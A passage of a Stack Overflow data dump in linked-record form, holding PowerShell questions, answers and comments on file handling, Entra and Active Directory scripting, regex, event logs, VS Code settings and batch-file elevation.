{$_.BaseName -eq $aFiles} { Write-Output "$file exists in $bDir. Copying." Remove-Item $bDir\$file -recurse | Where-Object {$_.BaseName -eq $aFile} Copy-Item $aDir\$file $bDir -recurse -include *.opus, *.mp3,*.m4a } else { Write-Output "$file does not exist in $bDir." } } The script output (or did) the write-output portion, but doesn't seem to process or consider the rest of the code. I think it manages to make the comparison between directories - MAYBE NOT - but then does nothing else.
tagged with: file
type: UnansweredQuestion
tagged with: duplicates

http://stackoverflow.com/a/79403138
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79400862
has body: You could use Update-TypeData to add a ScriptMethod where you define the try / catch logic: $updateTypeDataSplat = @{ TypeName = 'System.Security.Principal.SecurityIdentifier' MemberType = 'ScriptMethod' MemberName = 'SafeTranslate' Value = { try { '{0} ({1})' -f $this.Translate([System.Security.Principal.NTAccount]), $this } catch { # Can use `$_.Exception` here to get more details on why it failed 'Failed to Translate ({0})' -f $this } } } Update-TypeData @updateTypeDataSplat Then you could do: [System.Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object Name, @{ N='Groups'; E={ $_.Groups.SafeTranslate() }} | ConvertTo-Html -As List -Fragment

http://stackoverflow.com/q/79400817
tagged with: powershell
type: AnsweredQuestion
tagged with: azure
has comment: http://stackoverflow.com/comment/140026446
has comment: http://stackoverflow.com/comment/140026476
tagged with: entra
accepted answer: http://stackoverflow.com/a/79400868
has title: Invalid operands found for operator -eq
favorite count: 0
score: 4
has body: I'm scratching my head on this powershell error as to my understanding this is a string and the actual contents should not matter. foreach ($AU in $AUList) { $Code = $AU.CountryCode $Name = $AU.CountryName $params = @{ displayName = "$Code" + "_Users" description = "A dynamic administrative unit for " + "$Name" membershipType = "Dynamic" membershipRule = "(user.dirSyncEnabled -eq True) and (user.country -eq $Code)" membershipRuleProcessingState = "On" visibility = "HiddenMembership" } $adminUnitObj = New-MgDirectoryAdministrativeUnit -BodyParameter $params } Results in the following error New-MgDirectoryAdministrativeUnit : Invalid operands found for operator -eq At line:12 char:1 + $adminUnitObj = New-MgDirectoryAdministrativeUnit -BodyParameter $par ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: ({ Headers = , b...istrativeUnit }:<>f__AnonymousType1`2) [New-MgDirectoryAdministrativeUnit _Create], Exception + FullyQualifiedErrorId : InvalidOperandsException,Microsoft.Graph.PowerShell.Cmdlets.NewMgDirectoryAdministrativeUnit_Create I'm not sure what part of my membership rule is upsetting it but I have tried setting them both available variables and Strings. Could someone please help me pinpoint what it's having trouble with?
type: Question
upvote count: 4
answer count: 1
tagged with: graph
has answer: http://stackoverflow.com/a/79400868
downvote count: 0

http://stackoverflow.com/q/79269077
score: 0
has title: Output of Postman in Azure Devops is width limited
type: Question
answer count: 1
tagged with: azure-devops
tagged with: postman-newman
tagged with: powershell
has body: I'm running a Postman script with the Newman CLI within an Azure Devops pipeline. I'm trying to get a variable out of Postman and back to the pipeline in order to use it elsewhere, so in the Postman collection I have; console.log('##vso[task.setvariable variable=MyVariable]stringtobesaved'); The process works up to a point. For some reason Newman is splitting the command and giving me a short variable; MyVariable = stringtobe And then I can see a separate line in the log showing; saved If I change the variable name or the variable value, it would seem that it's always cut at the 53rd character. If it so happens that my variable name is a bit long, for example; console.log('##vso[task.setvariable variable=MylongerVariable]stringtobesaved'); I get an error message saying '##vso[task.setvariable variable=MylongerVar' isn't a valid command. I am fairly sure it's Newman at fault here, if I do; Write-Host "##vso[task.setvariable variable=IHaveAVeryLongVariable]AndAnEvenLongerValue" Then it works fine. Can anyone tell me why it truncates at 53 characters, and whether I can increase the limit? As a guide, I ultimately want to put around 400 characters into a variable, so 53 is a significant limit.
has answer: http://stackoverflow.com/a/79271157
type: UnansweredQuestion

http://stackoverflow.com/comment/140060024
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79416673
has text: Yes, I can run the script directly from a powershell 7.4 command window and I get the expected output.
type: QuestionComment

http://stackoverflow.com/q/79415674
has body: Have given up on figuring this out on my own. Sample string to work the regex on: "this","is","a","test" The below regex works fine for double quoted (once) and not quoted text. [`""`]?is[`""`]? However it matches part strings like is in this, in the sample string. Looking to do the following, to delete (for example) "is" OR is in the sample string $String = '"this`","is","a","test' $ConstructedRegex = "[`""`]?is[`""`]?,?" $String.replace($ConstructedRegex,"").trimstart(",").trimend(",") Expected outcome: $String = "this","a","test"
has comment: http://stackoverflow.com/comment/140055559
has comment: http://stackoverflow.com/comment/140055394
tagged with: regex
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140055215
score: 2
has comment: http://stackoverflow.com/comment/140055226
tagged with: powershell
downvote count: 1
has answer: http://stackoverflow.com/a/79415945
upvote count: 3
has comment: http://stackoverflow.com/comment/140055172
has comment: http://stackoverflow.com/comment/140055531
has comment: http://stackoverflow.com/comment/140055210
has comment: http://stackoverflow.com/comment/140055519
favorite count: 0
accepted answer: http://stackoverflow.com/a/79415945
has comment: http://stackoverflow.com/comment/140055496
has comment: http://stackoverflow.com/comment/140055479
has title: Regex to match quoted and non-quoted text, and not any part matches
type: Question

http://stackoverflow.com/q/79265704
upvote count: 2
accepted answer: http://stackoverflow.com/a/79267324
type: AnsweredQuestion
downvote count: 1
tagged with: event-log
tagged with: powershell
has comment: http://stackoverflow.com/comment/139781178
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139787359
type: Question
answer count: 1
has body: Background To write error logs to Windows Event Viewer in PowerShell script, I've found a suitable source Application Error and event ID 1000. When you call Write-EventLog -LogName "Application" -Source "Application Error" -EventId "1000" -Message "TEST MESSAGE", the event log message will be like this: Faulting application name: TEST MESSAGE, version: %2, time stamp: 0x%3 Faulting module name: %4, version: %5, time stamp: 0x%6 Exception code: 0x%7 Fault offset: 0x%8 Faulting process id: 0x%9 Faulting application start time: 0x%10 Faulting application path: %11 Faulting module path: %12 Report Id: %13 Faulting package full name: %14 Faulting package-relative application ID: %15 Problem I couldn't find a way to set parameters %2, %3, ... properly from Write-EventLog. The -Message parameter is set to %1 as a string. The -RawData parameter is set to %2, but it is interpreted as a hex string. For example, when you pass parameter -RawData $utf8Encoding.GetBytes("1.2.7"), the message is shown like version: 312E322E37. I expected the result like version: 1.2.7. Question Is there any way to set parameters %2, %3, ... in messages of Windows Event Log with PowerShell? Edit: New-WinEvent can't handle more than 8 parameters: PS C:\> New-WinEvent -ProviderName "Application Error" -Id 1000 -Payload @( >> 'DummyApp.exe', # Application name >> '1.2.3.4', # Application version >> '12345678', # Time stamp >> 'dummyModule.dll', # Faulting module name >> '2.3.4.5', # Module version >> '87654321', # Module time stamp >> 'c0000005', # Exception code >> '0000000000012345', # Fault offset >> '0x1234', # Process ID >> '0x5D3E7F22', # Application start time >> 'C:\Program Files\DummyApp\DummyApp.exe', # Application path >> 'C:\Windows\System32\dummyModule.dll', # Module path >> 'dummy-report-id', # Report ID >> 'dummy-package-name', # Faulting package full name >> 'dummy-app-id' # Faulting package-relative application ID >> ) New-WinEvent : The number of String parameters must not exceed 8. …
has title: Set placeholder %2, %3, ... in Windows Event Log with PowerShell
has answer: http://stackoverflow.com/a/79267324

http://stackoverflow.com/comment/139851937
has text: @VerityFreedom, code in comments in generally hard to read, especially without formatting. Please try my solutions _as posted_, in isolation (I just double-checked that they work), then gradually add in in your code.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79307730
type: AnswerComment

http://stackoverflow.com/comment/139944851
score: 3
comment on: http://stackoverflow.com/q/79354709
type: QuestionComment
type: Comment
has text: Notice that `diff --check` also reports on whitespace complaints, so if your primary goal is to process files that still are not merged you will get more precise results by using `git ls-files --unmerged`.

http://stackoverflow.com/comment/139775558
type: QuestionComment
type: Comment
has text: A ctor is invoked or not invoked, if invoked the object is created or an exception is thrown. If not invoked no handle is acquired thus nothing gets disposed. Not sure how else to explain it, my prev. comment should've been clear.
score: 0
comment on: http://stackoverflow.com/q/79265633

http://stackoverflow.com/q/79264325
possible better answer: http://stackoverflow.com/a/79264357
has answer: http://stackoverflow.com/a/79298841
downvote count: 1
has body: When opening a directory in VS Code and clicking on a PowerShell script, the terminal is maximized instead of splitting the screen between the Editor and Terminal tab. Can I somehow control this setting so that I always see the Editor and Terminal tab? Current behavior Desired behavior VS Code information Version: 1.94.2 (system setup) Commit: 384ff7382de624fb94dbaf6da11977bba1ecd427 Date: 2024-10-09T16:08:44.566Z Electron: 30.5.1 ElectronBuildId: 10262041 Chromium: 124.0.6367.243 Node.js: 20.16.0 V8: 12.4.254.20-electron.0 OS: Windows_NT x64 10.0.22631 settings.json { "github.copilot.advanced": { }, "http.proxySupport": "on", "http.proxy": "http://my.company.com:1234", "workbench.panel.opensMaximized": "always", "window.restoreWindows": "none", "workbench.startupEditor": "none", "dotnetAcquisitionExtension.enableTelemetry": false, "telemetry.telemetryLevel": "off", "files.associations": { "*.json5": "jsonc" } } Update 16.12.2024 After doing a "VS Code extension bisect", I nailed it down to the ms-vscode.powershell extension:
has comment: http://stackoverflow.com/comment/139802430
tagged with: visual-studio-code
score: 1
favorite count: 0
has title: VS Code always maximizes terminal when opening PowerShell script
type: Question
answer count: 3
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139810755
has comment: http://stackoverflow.com/comment/139810656
has answer: http://stackoverflow.com/a/79265039
upvote count: 2
accepted answer: http://stackoverflow.com/a/79298841
has answer: http://stackoverflow.com/a/79264357

http://stackoverflow.com/a/79388999
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79388953
has body: There are multiple challenges: When using the -Commmand (-c) parameter of powershell.exe, the Windows PowerShell CLI, any pass-through " characters, i.e. those that should be seen as part of the command for PowerShell to execute, must be escaped as \". A long-standing bug in Start-Process requires that elements of an array passed to -ArgumentList that contain spaces be manually enclosed in embedded "..." in order to be passed correctly - see GitHub issue #5576 Note that the bug will not be fixed, so as not to break backward compatibility; a new parameter that effects the proper behavior has been proposed, but the discussion has stalled. In light of the bug, it is usually conceptually clearer to use a single string with -ArgumentList that encodes all arguments, with embedded quoting as necessary, as shown below; see this answer for background information: There are additional complications relating to batch files, specifically, which - in short - require calling your batch file indirectly, via cmd /c, plus an extra layer of embedded double-quoting. Therefore, use the following (note that I'm omitting enabledelayedexpansion, as it isn't necessary here, and can cause problems with what should be verbatim ! characters): @echo off setlocal net session >nul 2>&1 || ( echo Need to fix association but missing admin rights... echo Elevating privileges... powershell -noprofile -Command $argStr = '\"%~1\" \"%~2\"'; Start-Process -Verb RunAs cmd.exe '/c', \"`\"`\"%~f0`\" $argStr`\"\" pause exit /b ) echo Now running with elevation; arguments received: echo [%1] echo [%2] pause endlocal Note: %~f0 is a shorter alternative to %~dpnx0 for obtaining the running batch file's full file path. %~1 and %~2 ensures that enclosing double quotes, if present, are stripped from the values of %1 and %2, so that these values can be double-quoted predictably as part of the PowerShell command, with the required \-escaping. The fact that '...' is used around the value assigned to $argStr assumes …
has comment: http://stackoverflow.com/comment/140003903
upvote count: 2
accepted answer of: http://stackoverflow.com/q/79388953
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/140003899
score: 2

http://stackoverflow.com/comment/139835593
has text: No @mklement0, nothing further from me. I don't measure anywhere close to you and the the others. I will crawl back to my hole and be dormant :)
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79291780

http://stackoverflow.com/q/79393539
has comment: http://stackoverflow.com/comment/140013221
favorite count: 0
has comment: http://stackoverflow.com/comment/140013840
answer count: 2
type: Question
tagged with: active-directory
type: AnsweredQuestion
score: 2
has body: I want to query a lot of domains for user data. I know not all domains have been configured the same and have the same capabilities. So before doing the query, I want to validate if the properties I would like to return are actually available within the given domain to prevent errors during execution. To this end I have written the following function: function Get-ADDomainSupportedProperty { [CmdletBinding()] param ( [Parameter(Mandatory = $false)] [ValidateNotNullOrEmpty()] [string]$Server = $Env:USERDNSDOMAIN, [Parameter(Mandatory = $false)] [ValidateNotNullOrEmpty()] [string]$ObjectType = "User", [Parameter(Mandatory = $false)] [ValidateNotNullOrEmpty()] [string[]]$Property ) # Get all available properties in the domain $params = @{ SearchBase = (Get-ADRootDSE -Server $Server).SchemanamingContext Filter = { Name -eq $ObjectType } Server = $Server Properties = "*" } $allProperties = Get-ADObject @params # Select all default properties $allDefaultProperties = $allProperties | Get-Member -MemberType "Properties" | Select-Object -ExpandProperty Name | Where-Object { $_ -notin @("MayContain", "SystemMayContain") } # Select all extended properties $allExtendedProperties = $allProperties | Select-Object @{ Name = "Properties"; Expression = { $_.MayContain + $_.SystemMayContain }} | Select-Object -ExpandProperty "Properties" $allAvailableProperties = $allDefaultProperties + $allExtendedProperties | Sort-Object -Unique # Return available properties if ($Property) { $Property | Where-Object { $_ -in $allAvailableProperties } } else { $allAvailableProperties } } This function mostly works as intended and will return an array of extended properties, yet it does not return some default properties (e.g. sn or Company). Does anyone have a suggestion how I can improve my function to return ALL available properties? Edit After the answers supplied by Matias, here is the finished function for people who want to use it as well. <# .SYNOPSIS Retrieves the supported attributes for a …
upvote count: 2
has comment: http://stackoverflow.com/comment/140013377
downvote count: 0
possible better answer: http://stackoverflow.com/a/79394381
tagged with: powershell
has comment: http://stackoverflow.com/comment/140012496
has answer: http://stackoverflow.com/a/79394390
has answer: http://stackoverflow.com/a/79394381
has title: PowerShell - Return an array of all possible properties for an ADObject
accepted answer: http://stackoverflow.com/a/79394390
has comment: http://stackoverflow.com/comment/140013471

http://stackoverflow.com/a/79402635
type: AcceptedAnswer
upvote count: 2
downvote count: 0
has body: The problem in this question is that the Foreach-Object cmdlet uses the current item ($PSItem or $_) and the Catch block also uses (overrules) the current item to reference the exception information. A minimal reproducible example to show this, would be: 1..5 | Foreach-Object { try { 1 / ( 3 - $_ ) } catch { "Error processing: $_" } } 0.5 1 Error processing: Attempted to divide by zero. -1 -0.5 Note that the same issue exists in an embedded Foreach-Object loop. Probably the easiest (and cleanest) way around this is to assign the current item to another variable which might be done further into the pipeline than the solution you present in your self-answer: 1..5 | Foreach-Object { $n = $_; try { 1 / ( 3 - $_ ) } catch { "Error processing: $n" } } 0.5 1 Error processing: 3 -1 -0.5 For your specific case, the Foreach-Object loop might probably be something similar to this: ... | Foreach-Object { $Sid = $_ try { "$($_.Translate([System.Security.Principal.NTAccount]).Value) ($($_.Value))" } catch { $Sid.Value } # or better: catch [<Specific Exception>] { $Sid.Value } }
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79400862
accepted answer of: http://stackoverflow.com/q/79400862
has comment: http://stackoverflow.com/comment/140030608

odata
tag name: odata
type: Tag
tags question: http://stackoverflow.com/q/79349429

http://stackoverflow.com/comment/140013101
comment on: http://stackoverflow.com/q/79392142
type: QuestionComment
type: Comment
score: 0
has text: sure, if you allow only a single char as options ( Y / N ) instead of Yes / No then its pretty simple

http://stackoverflow.com/comment/139978199
score: 0
has text: @MathiasR.Jessen the problem was people were looking at host and not seeing the top lines.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79375151

http://stackoverflow.com/q/79413222
answer count: 1
has comment: http://stackoverflow.com/comment/140050604
score: 2
has comment: http://stackoverflow.com/comment/140050823
upvote count: 2
tagged with: powershell
has answer: http://stackoverflow.com/a/79413576
type: UnansweredQuestion
favorite count: 0
has body: I'm trying to run an installer from another Windows system. The remote Windows system runs a process and in the end a fileshare will be created. From my local machine, I want to test the fileshare path in a loop, and jump out of the loop when the fileshare becomes available. This fileshare requires credentials to access, so when I run: Test-Path \\server\fileshare\, I always get False even though the fileshare is there. I tried: Test-Path \\server\fileshare\ -Credential $mycreds ($mycreds was setup correctly) But I'm getting: Test-Path: Cannot retrieve the dynamic parameters for the cmdlet. The FileSystem provider supports credentials only on the New-PSDrive cmdlet. Perform the operation again without specifying credentials. I tried New-PSDrive directly, it works when the fileshare is there. But it throws exception when the fileshare is not there yet. I guess I could do try...catch and go back to the loop when fileshare is not found? That feels hacky so I'm wondering if there are better ways... Is there any recommended/established way to achieve this?
type: Question
has title: How do I use Powershell to test a fileshare has been created?
downvote count: 0

http://stackoverflow.com/q/79385371
tagged with: powershell
has comment: http://stackoverflow.com/comment/139997540
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139997823
upvote count: 1
has comment: http://stackoverflow.com/comment/139997493
has answer: http://stackoverflow.com/a/79385422
score: 1
accepted answer: http://stackoverflow.com/a/79385422
has title: Sort a multidimensional array/arraylist/hashtable
favorite count: 0
answer count: 2
tagged with: sorting
has body: Currently I have the below code creating a multidimensional arraylist (but I am not married using arraylists, just need a free-to-add to array type): $Installs = new-object system.collections.arraylist $CVAFiles = get-childitem -path $HPImagingAssistantSoftPaqPath -filter *.cva | select fullname foreach($CVAFile in $CVAFiles) { $CVAFileContents = get-content $($CVAFile).fullname -raw $CVAFileContents -match '(?s).*?\[General\].*?SystemMustBeRebooted=(\d).*?\[Install Execution\].*?SilentInstall=(.*?)\n.*' | out-null $s = $CVAFile.fullname.split(&quot;\&quot;)[-1].split(&quot;.&quot;)[0] $Installs.add(@($Matches[1],$s,$Matches[2])) | out-null} } But because it is multidimensional can't seem to use $Installs.sort() to make it sort by $Installs[1]. And I can't seem to find any other examples of sorting multidimensional arraylists online to see what the correct syntax is. What is the correct syntax?
type: Question
downvote count: 0
tagged with: arraylist
has answer: http://stackoverflow.com/a/79386369
has comment: http://stackoverflow.com/comment/140001636
possible better answer: http://stackoverflow.com/a/79386369

http://stackoverflow.com/a/79286493
has body: It looks like you're missing some indentation, line continuation characters (^) and double quotes. I'm not 100% certain about every line (except the first line) needing to be indented, but if you do indent the lines, the last "}" also needs to be indented otherwise you'll get an error about the string not being terminated. Try this as a .bat script: Powershell.exe -executionpolicy bypass -noprofile -command "& {"^ "$shortcutPath = 'S:\Libraries\Desktop\OutboundOFF.lnk';"^ "$iconPath = 'C:\Windows\System32\Customization\Icons\AEOFF.ico';"^ "$WsShell = New-Object -ComObject WScript.Shell;"^ "$shortcut = $WsShell.CreateShortcut($shortcutPath);"^ "$shortcut.IconLocation = $iconPath;"^ "$shortcut.Save()"^ "}"
answers question: http://stackoverflow.com/q/79286415
type: Answer
score: 0

http://stackoverflow.com/comment/139775462
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79265633
score: 0
has text: A ctor wouldn't allow interrupts and a `CreateAsync` method would allow interruption via a CancellationToken at which point it's the responsibility of the developer of that type to properly dispose handles if the method was interrupted

http://stackoverflow.com/q/79309989
tagged with: tcpdump
has comment: http://stackoverflow.com/comment/139855401
has comment: http://stackoverflow.com/comment/139873859
tagged with: powershell
has comment: http://stackoverflow.com/comment/139873335
has comment: http://stackoverflow.com/comment/139855282
has comment: http://stackoverflow.com/comment/139855985
score: 1
has comment: http://stackoverflow.com/comment/139855154
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/59110563
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139873843
type: Question
linked to: http://stackoverflow.com/q/59110563
has comment: http://stackoverflow.com/comment/139855147
has comment: http://stackoverflow.com/comment/139855348
answer count: 0
has title: powershell equivalent to ''strings -n8'' for extracting text from tcpdump output?
downvote count: 0
has body: I have been using the following on my Raspberry pi which basically captures data from a weather hub I have connected to a USB port on the PI. sudo tcpdump -A -n -p -l -i eth1 -s0 -w - tcp dst port 80 | stdbuf -oL strings -n8 | ./parser The output buffer is read via a python script. I want to move the whole process onto a windows (10) machine and so far I have the following working via CMD under Win10. tcpdump -A -n -p -l -i eth1 -s0 -w - tcp dst port 80 The output however, is totally unreadable because I can not figure out the rest of the command under windows. Specifically | stdbuf -oL strings -n8 |./parser Any help with this would greatly be appreciated I have tried this under PowerShell but I end up with the same garbled text ./tcpdump -A -n -p -l -i 5 | ForEach-Object { [Console]::WriteLine($_) [Console]::Out.Flush() $_ } | Set-Content program.log ====================================== When I issue the following command RaspPi sudo tcpdump -A -n -p -l -i eth1 -s0 -w - tcp dst port 80 | stdbuf -oL strings -n8 I will get the following output tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes GET /weatherstation/updateweatherstation?dateutc=now&amp;action=updateraw&amp;realtime=1 &amp;id=24C86E010F25&amp;mt=tower&amp;sensor=00015666 &amp;humidity=74&amp;tempf=26.6 &amp;baromin=30.39&amp;battery=normal&amp;rssi=4 HTTP/1.1 hubapi.myacurite.com User-Agent: Hub/224 Connection: close

http://stackoverflow.com/q/79272156
accepted answer: http://stackoverflow.com/a/79274662
score: 0
tagged with: azure
has body: I am not able to import the powershell module Microsoft.Graph.Entra.Beta. I want to use Set-EntraBetaTrustFrameworkPolicy module to upload xml configs to Azure AD B2C as per this microsoft doc : https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.entra.beta/set-entrabetatrustframeworkpolicy?view=entra-powershell-beta . And it requires the module Microsoft.Graph.Entra.Beta to be installed. I am using this commands to install module : Install-Module -Name Microsoft.Graph.Entra.Beta -Scope CurrentUser -Force -AllowClobber This is the error i see in the github action: found in any module directory. At D:\a\_temp\360a07d2-14b9-4abd-8843-bc54622430e9.ps1:22 char:1 + Import-Module Microsoft.Graph.Entra.Beta + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ResourceUnavailable: (Microsoft.Graph.Entra.Beta:String) [Import-Module], FileNotFoundEx ception + FullyQualifiedErrorId : Modules_ModuleNotFound,Microsoft.PowerShell.Commands.ImportModuleCommand``` [1]: https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.entra.beta/set-entrabetatrustframeworkpolicy?view=entra-powershell-beta =======================Edit replying to Rukminis question============= Are you able to do this also? I have created a service principle in Azure AD B2C and want to upload TrustFrameworkExtensions.xml file to it using Set-AzureADMSTrustFrameworkPolicy powershell cmdlet in GHA. Everything in this works for me except the last line . I get an error Set-AzureADMSTrustFrameworkPolicy is not know cmdlet even though I am able to succesfully import Powershell AzureADPreview module without any issues. I am pulling my hair out to figure this out ```Install-Module -Name AzureADPreview -Scope CurrentUser -Force -AllowClobber az login --service-principal --username $service-principal-clientId --password $service-principal-password --tenant $tenantId --allow-no-subscriptions $aadToken = az account get-access-token --resource-type aad-graph | ConvertFrom-Json $graphToken = …
tagged with: azure-ad-b2c
type: Question
has title: I am not able to import the powershell module Microsoft.Graph.Entra.Beta
answer count: 1
has comment: http://stackoverflow.com/comment/139787086
tagged with: powershell
has answer: http://stackoverflow.com/a/79274662
tagged with: github-actions
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/79279207

http://stackoverflow.com/comment/139790035
type: Comment
comment on: http://stackoverflow.com/a/79273719
has text: I'll try this in the morning! Much appreciated for the quick and easy to understand reply. I think I had a good reason for using Start-Process a year ago when this script was in its infancy (I've dramatically simplified the example above), but it may not be necessary anymore.
score: 1
type: AnswerComment

http://stackoverflow.com/comment/140045296
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79410420
has text: We would need details on this "outside application" in order to help. This is likely a .NET app that uses a System.Management.Automation version that is not compatible with your pwsh version
score: 2

http://stackoverflow.com/comment/139901631
type: Comment
score: 0
has text: I tried several paths in filePath, things like: `filePath: $(Build.SourcesDirectory)/MyTemplates/scripts/my-script.ps1`
comment on: http://stackoverflow.com/q/79335299
type: QuestionComment

http://stackoverflow.com/comment/139788911
type: QuestionComment
type: Comment
has text: @WalterMitty: The list of _display_ properties is generally not a reliable indicator of the full set of properties defined on an output object, because only a _subset_ is often chosen (via formatting files). For reliable discovery, use `Get-Member -Type Properties`
score: 0
comment on: http://stackoverflow.com/q/79271171

nerd-fonts
tag name: nerd-fonts
tags question: http://stackoverflow.com/q/79327313
type: Tag

http://stackoverflow.com/comment/139739637
type: QuestionComment
has text: Pipe your output to `Where-Object -Property Count -GT -Value 1` and you have only the ones with doublettes
type: Comment
score: 4
comment on: http://stackoverflow.com/q/79245493

http://stackoverflow.com/comment/140144324
type: Comment
has text: If the timer is consistently offset by n hours for testing it worked for me to subtract from now() with .AddHours(-n) before converting to epoch, just to see that the reboot really works. However as I said there was (to me) no logic whatsoever in the way this was offset. Maybe you could let the sccm client write the value for a real 1 hour countdown and check the regkeys to get a clue by converting the unix timestamp back and then compare it with what now() does.
score: 0
comment on: http://stackoverflow.com/q/79413988
type: QuestionComment

http://stackoverflow.com/q/79377035
tagged with: powershell-5.1
type: AnsweredQuestion
upvote count: 1
has answer: http://stackoverflow.com/a/79377434
linked to: http://stackoverflow.com/q/77635452
score: 1
accepted answer: http://stackoverflow.com/a/79377434
favorite count: 0
answer count: 1
type: Question
downvote count: 0
tagged with: powershell
has title: Why does redefining Write-Progress in PowerShell break the command?
has body: I'm trying to catch all output of Write-Progress to a log file using Write-PSFMessage from the module PSFramework in a way that I don't need to rewrite all my current scripts. I've used this method successfully for Write-Verbose and Write-Host (edit: apparently not), but when applying the code below to Write-Progress, it will hang... function Write-MyProgress { param ( [Parameter(Mandatory)] [string]$Activity, [string]$Status = 'Processing' ) $params = @{ Activity = $Activity Status = $Status } Write-Progress @params $LogMessage = "PROGRESS: $Activity - $Status" Write-PSFMessage -Level SomewhatVerbose -Message $LogMessage } Set-Alias Write-Progress -Value Write-MyProgress
tagged with: logging
has comment: http://stackoverflow.com/comment/139982974

http://stackoverflow.com/q/79275630
score: 1
upvote count: 1
favorite count: 0
tagged with: windows
type: Question
has title: Change the default text editor for Powershell to Notepad++
accepted answer: http://stackoverflow.com/a/79279479
has comment: http://stackoverflow.com/comment/139798237
answer count: 1
has body: I want to use Notepad++ instead of Notepad to edit my Pod configurations in Kubernetes. kubectl edit pods my-pod I tried to change the EDITOR environment variable, but I am getting all kinds of errors and none of it is working. I tried manually adding the EDITOR environment variable using the GUI. I tried adding it via command line - [System.Environment]::SetEnvironmentVariable("EDITOR", "C:\Program Files\Notepad++\notepad++.exe", "User") I tried adding it in my Powershell profile like: $env:EDITOR = "C:\Program Files\Notepad++\notepad++.exe" I tried encapsulating my command within " or '". Nothing seems to work. I'm getting errors like: 'C:\Program' is not recognized as an internal or external command, or '"C:\Program Files\Notepad++\notepad++.exe"' is not recognized as an internal or external command, What is the correct syntax to do this ? OS: Windows 11 Enterprise 23H2
has answer: http://stackoverflow.com/a/79279479
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139798246
has comment: http://stackoverflow.com/comment/139796211

http://stackoverflow.com/comment/139773002
score: 0
comment on: http://stackoverflow.com/a/79264357
type: AnswerComment
has text: Then please post your settings.json (remove all personal stuff beforehand)
type: Comment

http://stackoverflow.com/a/79270136
has comment: http://stackoverflow.com/comment/139794407
downvote count: 0
has comment: http://stackoverflow.com/comment/139789529
type: Answer
has comment: http://stackoverflow.com/comment/139789202
answers question: http://stackoverflow.com/q/79269924
has comment: http://stackoverflow.com/comment/139800841
has comment: http://stackoverflow.com/comment/139789926
has comment: http://stackoverflow.com/comment/139801082
score: 1
has comment: http://stackoverflow.com/comment/139796499
upvote count: 1
has comment: http://stackoverflow.com/comment/139787729
has body: MailItem object in OOM does not expose a property called From. Use SenderName / SenderEmailAddress /etc.. See https://learn.microsoft.com/en-us/office/vba/api/outlook.mailitem for more details. You might also want to use Namespace.GetDefaultFolder / Store.GetDefaultFolder to retrieve the Inbox folder (olFolderInbox) rather than retrieve it by name.
has comment: http://stackoverflow.com/comment/139800018

http://stackoverflow.com/comment/139772602
score: 0
comment on: http://stackoverflow.com/q/79263318
has text: Is UniqueName not what you're looking for?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139851928
type: AnswerComment
has text: I need it to be .cmd script because it is elevating to admin, modifying configuration file and creating a service. I didn't use a single .ps1 script in my whole life, but everything is normal about using powershell inside .cmd, if it will work. For me what is provided is not working at all.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79307730

http://stackoverflow.com/q/79286482
has comment: http://stackoverflow.com/comment/139813453
has comment: http://stackoverflow.com/comment/139813622
linked to: http://stackoverflow.com/q/4115519
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139813480
has title: Convert a filepath from the 8.3 shortname to the fullname when the path doesn't exist
tagged with: windows-server
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139826370
has comment: http://stackoverflow.com/comment/139828776
downvote count: 0
has comment: http://stackoverflow.com/comment/139813825
has comment: http://stackoverflow.com/comment/139813732
has comment: http://stackoverflow.com/comment/139813630
has body: This post explains how to convert an 8.3 shortname to fullname but only works if the target file or directory exists. If I run that suggested code in Powershell 5.1 then Get-Item throws an error saying the target doesn't exist. Example This works $TargetPath = "8.3 shortname for file or folder that exists" (Get-Item -LiteralPath $TargetPath).FullName This throws doesn't exist error $TargetPath = "8.3 shortname for file or folder that does not exist" (Get-Item -LiteralPath $TargetPath).FullName Is there a way to convert an 8.3 shortname to the fullname even if the path no longer exists? I'm beginning to assume no, but thought I'd ask anyway.
tagged with: powershell
linked to: http://stackoverflow.com/q/34473934
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139813611
has comment: http://stackoverflow.com/comment/139813481

http://stackoverflow.com/comment/139863747
comment on: http://stackoverflow.com/a/79314603
type: Comment
has text: @mclayton :) Based on footnote #2: `[...].IsValueType` is your friend. The generalization of the `struct` angle seems to be: .NET languages seem to have _dedicated keywords_ for creating .NET _value types_, which must be used in lieu of the usual inheritance syntax. PowerShell does _not_ offer such a keyword and, as noted, does _not_ offer definition of value types, though this lack of support manifests obscurely - see [GitHub issue #10231](https://github.com/PowerShell/PowerShell/issues/10231).
type: AnswerComment
score: 1

http://stackoverflow.com/a/79381361
upvote count: 1
